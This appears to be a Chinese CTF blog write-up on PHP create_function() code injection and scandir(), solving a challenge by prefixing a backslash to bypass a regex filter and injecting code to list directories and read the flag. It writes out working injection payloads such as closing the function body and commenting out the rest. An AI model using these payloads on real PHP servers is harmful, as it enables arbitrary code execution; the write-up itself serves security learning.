天天看点

ctf+create_function()+scandir()学习

php官方手册中发现create_function函数,就等同于function函数的作用;

create_function函数

<?php
$newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
echo "New anonymous function: $newfunc\n";
echo $newfunc(2, M_E) . "\n";
// outputs
// New anonymous function: lambda_1
// ln(2) + ln(2.718281828459) = 1.6931471805599
?> 
           

function函数

<?php
function newfunc($a,$b){
	return "ln($a) + ln($b) = " . log($a * $b);
}
echo "New a us function: newfunc()\n";
echo newfunc(2, M_E) . "\n";
//New anonymous function: newfunc() 
//ln(2) + ln(2.718281828459) = 1.6931471805599
?>
           

因为creat_function函数的特性,所以可以利用creat_function()代码注入;

利用方法:id=1;}phpinfo();/*

利用原理:源代码

function newfunc(){ 
	echo "test";
} 
           

注入后代码:

function newfunc(){ 
	echo "test";}phpinfo();/*   //这里的;}将前面的function函数闭合且/*将后面的函数注释从而进行任意代码执行漏洞
} 
           

PHP scandir()函数:

定义:列出指定路径中的文件和目录

scandir( string $directory[, int $sorting_order[, resource $context]] ) : array
参数 描述
directory 必需。要被浏览的目录。
sorting_order 可选。默认的排序顺序是按字母升序排列。如果使用了可选参数 sorting_order(设为 1),则排序顺序是按字母降序排列。
context 可选。 规定目录句柄的环境。context 是可修改目录流的行为的一套选项。

jactf wp

web6 题目链接:http://120.79.1.69:8886/web6/

<?php
error_reporting(0);
if(isset($_GET['action'])) {
    $action = $_GET['action'];
}

if(isset($_GET['action'])){
    $arg = $_GET['arg'];
}

if(preg_match('/^[a-z0-9_]*$/isD', $action)){
    show_source(__FILE__);
} else {
    $action($arg,'');
}

           

当看到

$ action($ arg,'');

一个变量包含另一个变量时就想到了 creat_function()函数。后正则过滤了字母,数字,下划线,所以要绕过正则过滤,因此需要在正则开头或结尾添加字符以绕过,简单fuzz下发现%5c可以绕过。

\creat_functoin

意思是全局调用

creat_funtion

函数。

后构造代码如图:成功执行代码,并列出目录

ctf+create_function()+scandir()学习

后在目录中列出文件:即得到flag

ctf+create_function()+scandir()学习